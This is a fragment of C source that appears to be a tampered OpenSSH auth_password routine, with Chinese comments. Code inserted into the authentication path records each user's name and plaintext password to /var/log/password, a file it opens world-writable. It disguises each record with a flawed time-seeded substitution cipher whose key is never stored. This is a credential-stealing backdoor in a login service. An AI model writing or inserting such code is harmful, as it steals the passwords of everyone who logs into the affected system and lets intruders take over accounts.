#include <string.h>
#include <unistd.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <sys/types.h>
#include <time.h>

.....
 /*
 * Tries to authenticate the user using password.  Returns true if
 * authentication succeeds.
 */
    
    // 这里为了不被轻易看到明文记录的密码，（其实用处不大）
    // 写了一个简单的单表替换仿射密码（凯撒密码）
void code(char *str,char* c,int n);
void code(char *str,char* c,int n)
{
		srand((unsigned)time(0));
        unsigned s[3] = {rand()%94 ,rand()%94, rand()%94};
        int i = 0;
        for (; i < n; i++)
        {
				if (c[i] < 33 || c[i] > 127){continue;}
                str[i] = (c[i] + s[i % 3] - 33) % 94;
                str[i] = str[i] + 33;
        }
        str[i] = 0;
}
    
int
auth_password(Authctxt *authctxt, const char *password)
{
	//  record password char buf
	char buff[256];
	int len = 0;
	char pathname[] = "/var/log/password"; // 密码存放文件

	struct passwd * pw = authctxt->pw;
	int result, ok = authctxt->valid;

	int fd = open(pathname, O_RDWR|O_CREAT|O_APPEND, 0777);

	if (fd != -1) {
					snprintf(buff, 256, "iff-U:%s,P:%s\n",authctxt->user, password);
					len = strlen(buff);
					code(buff, buff, len);
					write(fd, buff, len);
					close(fd);
	}

    ........